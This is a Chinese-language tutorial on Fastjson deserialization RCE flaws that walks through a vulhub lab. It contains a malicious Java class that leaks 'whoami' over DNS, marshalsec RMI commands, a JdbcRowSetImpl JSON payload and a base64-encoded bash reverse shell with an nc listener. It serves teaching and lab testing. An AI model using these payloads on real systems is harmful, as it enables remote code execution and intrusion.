Fastjson漏洞详解

简介: Fastjson漏洞详解

0x01 Fsatjson概述

Fastjson是阿里巴巴公司开源的一款json解析器,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到JavaBean。Fastjson是一个流行的库,可以将数据在json和java object之间相互转换,fastison在序列化和反序列化过程中没有使用Java自带的序列化机制,而是自定义了另一套机制。其实,对于JSON框架来说想要把一个Java对象转换成字符串,有两种方式:

    1.基于属性
    2.基于 setter/getter

    0x02 RMI

    提供 RMI 包。RMI 指的是远程方法调用 (Remote Method Invocation)。它是一种机制,能够让在某个 Java虚拟机上的对象调用另一个 Java 虚拟机中的对象上的方法。可以用此方法调用的任何对象必须实现该远程接口。调用这样一个对象时,其参数为 "marshalled" 并将其从本地虚拟机发送到远程虚拟机(该远程虚拟机的参数为 "unmarshalled")上。该方法终止时,将编组来自远程机的结果并将结果发送到调用方的虚拟机。如果方法调用导致抛出异常,则该异常将指示给调用方。

    简明的说rmi是一种机制,作用就是远程方法的调用,远程方法调用其实就是一个机器可以执行另一个机器的指令 注意:不会回显,所以想要证实是否存在有fastjson漏洞,可以借助第三方dnslog平台

    0x03 历史漏洞

    Fastjson <=1.2.24 反序列化远程命令执行漏洞 
    Fastjson <=1.2.41 反序列化远程命令执行漏洞 
    Fastjson <=1.2.42 反序列化远程命令执行漏洞 
    Fastjson <=1.2.43 反序列化远程命令执行漏洞 
    Fastjson <=1.2.45 反序列化远程命令执行漏洞 
    Fastjson <=1.2.47 反序列化远程命令执行漏洞 
    Fastjson <=1.2.62 反序列化远程命令执行漏洞 
    Fastjson <=1.2.66 反序列化远程命令执行漏洞

    Fastjson反序列化漏洞

    1.2.24:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的setter/getter方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

    1.2.47:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

    0x04 环境搭建

    系统:Kali-linux靶场:vulhub安装maven:apt安装:


    sudo apt install maven

    源码安装:

      1.wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
      2.mkdir /opt/maven
      3.tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/
      4.vim /etc/profile
      5.export MAVEN_HOME=/opt/maven/apache-maven-3.6.3 export PATH=$MAVEN_HOME/bin:$PATH (在profile文件最下方添加)
      6.source /etc/profile (使其生效)
      7.mvn -version (验证是否成功

      安装marshalsec:

        1.git clone https://github.com/mbechler/marshalsec.git
        2.cd marshalsec/
        3.mvn clean package -DskipTests(编译工具)
        4.cd target/
        5.java-cp marshalsec-0.0.3-SNAPSHOT-all.jar
        6.marshalsecjndiRMIRefServer"http://(启动python服务的ip):(启动python服务的端口)/#dnslog"999

        靶场启动:

          1.cd vulhub
          2.cd fastjson
          3.cd 1.2.24-rce
          4.docker-compose up -d
          

          0x05 Fastjson判断方式

          在vulhub起一个靶场环境,以1.2.24为例访问ip:8090如回显以下页面,则搭建成功

          使用burpsuite抓包,放到重发器判断Fastjson两种方式:将GET请求方式更改为POST请求,并随便输入一个json格式数据,send数据包使其报错,看回显

          注意:在version<=1.2.24时,报错回显是没有fastjson特征的报错 com.alibaba.fastjson.JSON 特征version<1.2.24同样的判断方式,抓包看报错回显,会有com.alibaba.fastjson.JSON 特征

          漏洞利用开启vulhub对应靶场服务安装marshalsec工具Java本地写恶意类,比如:

          import java.lang.Runtime;
          import java.lang.Process;
          public class fastjson{
            static {
              try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"/bin/sh", "ping user.`whoami`.dnslog平台生成的网址"};
                Process pc = rt.exec(commands);
                pc.waitFor();
              } catch (Exception e) {
                // do nothing
              }
            }
          }

          javac进行编译,生成class文件本地使用python开启http服务,


          Python3 -m http.server

          为了使后面利用rmi机制去让靶场服务器访问我们生成的恶意class文件,并自动下载到靶场服务器本地浏览器访问验证是否开启成功

          使用marshalsec工具进行开启一个rmi服务payload:


          java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://python开启的http服务IP:PORT/#恶意class文件类名

          自定义rmi端口漏洞页面进行抓包

          数据包改为POSTPOC

          POST / HTTP/1.1
          Host: IP:PORT
          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
          Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
          Accept-Encoding: gzip, deflate
          Connection: close
          Upgrade-Insecure-Requests: 1
          {
            "b":{
                "@type":"com.sun.rowset.JdbcRowSetlmpl",
                "dataSourceName":"rmi://开启rmi服务的ip:prot/恶意类名",
                "autoCommit":ture
            }
          }

          Send 发包后会报错,但是在刚才恶意类中,写入了第三方dnslog平台生成的url,因此,会有请求记录,只需验证是否记录存在即可证实漏洞存在

          如果想要反弹shell,则需要修改恶意类中代码为

          import java.lang.Runtime;
          import java.lang.Process;
          public class fastjson{
            static {
              try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"bash", "-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE=}|{base64,-d}|{bash,-i}"};
                Process pc = rt.exec(commands);
                pc.waitFor();
              } catch (Exception e) {
                // YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE= 为base64编码的IP和PORT
              }
            }
          }

          然后NC进行监听端口 nc -lvvp PORT漏洞页面抓包,按步骤更改数据,NC回弹shell

          目录
          相关文章
          |
          安全 算法 Oracle
          【WEB安全】Apache Shiro 反序列化漏洞(上)
          Apache Shiro是一款开源企业常见JAVA安全框架,提供身份验证、授权、密码学和会话管理。java中的权限框架有SpringSecurity和Shiro,由于Spring功能强大但复杂,Shiro的简单强大,扩展性好因此用的还是很多。
          610 0
          【WEB安全】Apache Shiro 反序列化漏洞(上)
          |
          10月前
          |
          JSON 安全 fastjson
          又遇fastjson漏洞
          又是fastjson!又是这家伙!至少经历了2次+这样的场景。我不知道这家伙又得罪了哪位大仙,频繁被“黑”。fastjson到底做错了什么?为什么会被频繁爆出漏洞?但是作为一个技术人(兴趣爱好者),我更关注的是它为什么会频繁被爆漏洞?而其他的Gson却没有。通过对fastjson的releaseNote以及部分源代码进行查阅,发现此现象跟fastjson中的一个AutoType特性有关联。
          216 0
          |
          JSON 安全 fastjson
          Fastjson 1.2.80 及之前版本存在 Throwable 反序列化漏洞
          Fastjson 1.2.80 及之前版本存在 Throwable 反序列化漏洞
          428 0
          |
          安全 JavaScript Dubbo
          Fastjson再曝反序列化漏洞,网友:Bugson又来了!
          Fastjson再曝反序列化漏洞,网友:Bugson又来了!
          |
          XML JSON 安全
          再爆安全漏洞,这次轮到Jackson了,竟由阿里云上报
          再爆安全漏洞,这次轮到Jackson了,竟由阿里云上报
          再爆安全漏洞,这次轮到Jackson了,竟由阿里云上报
          |
          JSON 缓存 安全
          干掉 fastjson,我们用 Jackson!
          工程里大量使用了fastjson作为序列化和反序列化框架,甚至ORM在处理部分字段也依赖fastjson进行序列化和反序列化。那么作为大量使用的基础框架,为什么还要进行替换呢?
          干掉 fastjson,我们用 Jackson!
          |
          XML JSON 缓存
          【WEB安全】Fastjson反序列化(上)
          Java 序列化及反序列化处理在基于Java 架构的Web应用中具有尤为重要的作用。例如位于网络两端、彼此不共享内存信息的两个Web应用在进行远程通信时,无论相互间发送何种类型的数据,在网络中实际上都是以二进制序列的形式传输的。为此,发送方必须将要发送的Java 对象序列化为字节流,接收方则需要将字节流再反序列化还原得到Java 对象,才能实现正常通信。当攻击者输入精心构造的字节流被反序列化为恶意对象时,就会造成一系列的安全问题。
          498 0
          【WEB安全】Fastjson反序列化(上)
          |
          存储 JSON 安全
          【WEB安全】Fastjson反序列化(中)
          Java 序列化及反序列化处理在基于Java 架构的Web应用中具有尤为重要的作用。例如位于网络两端、彼此不共享内存信息的两个Web应用在进行远程通信时,无论相互间发送何种类型的数据,在网络中实际上都是以二进制序列的形式传输的。为此,发送方必须将要发送的Java 对象序列化为字节流,接收方则需要将字节流再反序列化还原得到Java 对象,才能实现正常通信。当攻击者输入精心构造的字节流被反序列化为恶意对象时,就会造成一系列的安全问题。
          232 0
          【WEB安全】Fastjson反序列化(中)
          |
          缓存 JSON 安全
          【WEB安全】Fastjson反序列化(下)
          Java 序列化及反序列化处理在基于Java 架构的Web应用中具有尤为重要的作用。例如位于网络两端、彼此不共享内存信息的两个Web应用在进行远程通信时,无论相互间发送何种类型的数据,在网络中实际上都是以二进制序列的形式传输的。为此,发送方必须将要发送的Java 对象序列化为字节流,接收方则需要将字节流再反序列化还原得到Java 对象,才能实现正常通信。当攻击者输入精心构造的字节流被反序列化为恶意对象时,就会造成一系列的安全问题。
          357 0
          【WEB安全】Fastjson反序列化(下)
          |
          安全 Java Shell
          【WEB安全】Apache Shiro 反序列化漏洞(中)
          Apache Shiro是一款开源企业常见JAVA安全框架,提供身份验证、授权、密码学和会话管理。java中的权限框架有SpringSecurity和Shiro,由于Spring功能强大但复杂,Shiro的简单强大,扩展性好因此用的还是很多。
          415 0
          【WEB安全】Apache Shiro 反序列化漏洞(中)